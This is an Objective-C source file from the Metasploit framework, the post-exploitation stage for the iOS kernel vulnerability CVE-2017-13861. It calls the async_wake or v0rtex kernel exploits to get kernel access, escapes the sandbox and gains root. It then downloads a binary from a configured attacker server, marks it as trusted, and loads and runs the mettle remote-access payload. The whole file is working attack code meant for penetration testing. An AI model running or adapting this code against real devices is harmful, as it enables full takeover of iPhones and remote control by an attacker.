metasploit-framework/external/source/exploits/CVE-2017-13861/payload.m

188 lines
4.7 KiB
Objective-C

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <mach/mach.h>
#import <Foundation/Foundation.h>
#import <dlfcn.h>
#include <mach-o/dyld.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "magic.h"
#include "liboffsetfinder64/getoffsets.h"
#include "v0rtex.h"
#include "async_wake.h"
#include "kernel_utils.h"
#include "patchfinder64.h"
#include "trustcache.h"
#include "sandbox.h"
#include "kutils.h"
#include "kexecute.h"
#include "vnode_utils.h"
// Note: NSLog crashes for me on iOS 10
//#define DEBUG 1
#ifdef DEBUG
#define SLOG(msg, ...) \
do { \
if (getuid() == 0) { \
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
fprintf(logfile,msg, __VA_ARGS__); \
fclose(logfile); \
} \
} while (0)
//#define LOG(msg) \
//NSLog(@msg); \
//fprintf(stderr, msg); \
//fflush(stderr);
#else
#define SLOG(msg, ...) {}
#endif
int download_payload(char* file_path, const char* config_placeholder)
{
unlink(file_path);
SLOG("%s", "Downloading payload\n");
const char* payload_url = "payload10";
if (kCFCoreFoundationVersionNumber >= 1443.00) {
payload_url = "payload11";
}
// Load the payload from server
int sockfd = 0;
struct sockaddr_in serv_addr;
char getpayload[100];
snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);
const int chunk_size = 4096;
char* payload_buffer = malloc(chunk_size);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
SLOG("%s", "Could not connect socket");
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
SLOG("%s", "Connecting...\n");
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
SLOG("%s", "Could not connect\n");
return -1;
}
send(sockfd, getpayload, strlen(getpayload), 0);
int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);
int read_header = 0;
int n;
while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {
if (!read_header) {
char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);
write(payloadfd, payload_start, n - (payload_start - payload_buffer));
read_header = 1;
} else {
write(payloadfd, payload_buffer, n);
}
}
close(payloadfd);
close(sockfd);
free(payload_buffer);
return 0;
}
void fail(uint64_t x) {
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
int main() {
SLOG("%s", "Starting...\n");
mach_port_t tfp0 = MACH_PORT_NULL;
uint64_t kbase = 0;
kern_return_t ret = KERN_FAILURE;
if (kCFCoreFoundationVersionNumber >= 1443.00) {
ret = async_wake(&tfp0);
if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
kbase = find_kernel_base();
SLOG("kbase %p", (void*)kbase);
}
} else {
offsets_t *off = get_offsets();
SLOG("%s", "Got offsets\n");
ret = v0rtex(off, &tfp0, &kbase);
}
if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
{
SLOG("%s", "exploit failed\n");
return -1;
} else {
SLOG("%s", "tfp0!\n");
}
SLOG("%s", "init!\n");
init_kernel_utils(tfp0, kbase);
InitPatchfinder(kbase, 0);
if (kCFCoreFoundationVersionNumber >= 1443.00) {
pid_t pid = getpid();
uint64_t sbcreds = unsandbox(pid);
rootify(pid);
SLOG("uid %d", getuid());
SLOG("creds %p", (void*)sbcreds);
}
const char config_placeholder[1024] = "PAYLOAD_URL";
char * file_path = "/var/mobile/mettle.dylib";
download_payload(file_path, config_placeholder);
SLOG("%s", "did init!\n");
int trustret = trust_bin(file_path);
SLOG("trust %d\n", trustret);
if (kCFCoreFoundationVersionNumber >= 1443.00) {
//fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib
init_Kernel_Execute();
fix_vnode_for_mmap(file_path);
}
void* mettle = dlopen(file_path, RTLD_NOW);
if (mettle) {
SLOG("%s", "got mettle!\n");
// Launch the payload
typedef int (*main_ptr)(int argc, const char *argv[]);
main_ptr main_func = dlsym(mettle, "main");
if (main_func) {
SLOG("%s", "got main_func!\n");
const char * progname = "mettle";
const char * arg1 = "-u";
const char * arg2 = config_placeholder+6;
const char *argv[] = { progname, arg1, arg2, NULL };
int mainret = main_func(3, argv);
SLOG("%s", "did run main_func!\n");
}
}
SLOG("%s", "exit!\n");
exit(0);
return 0;
}
uint64_t entry[] = { MAGIC, (uint64_t)&main };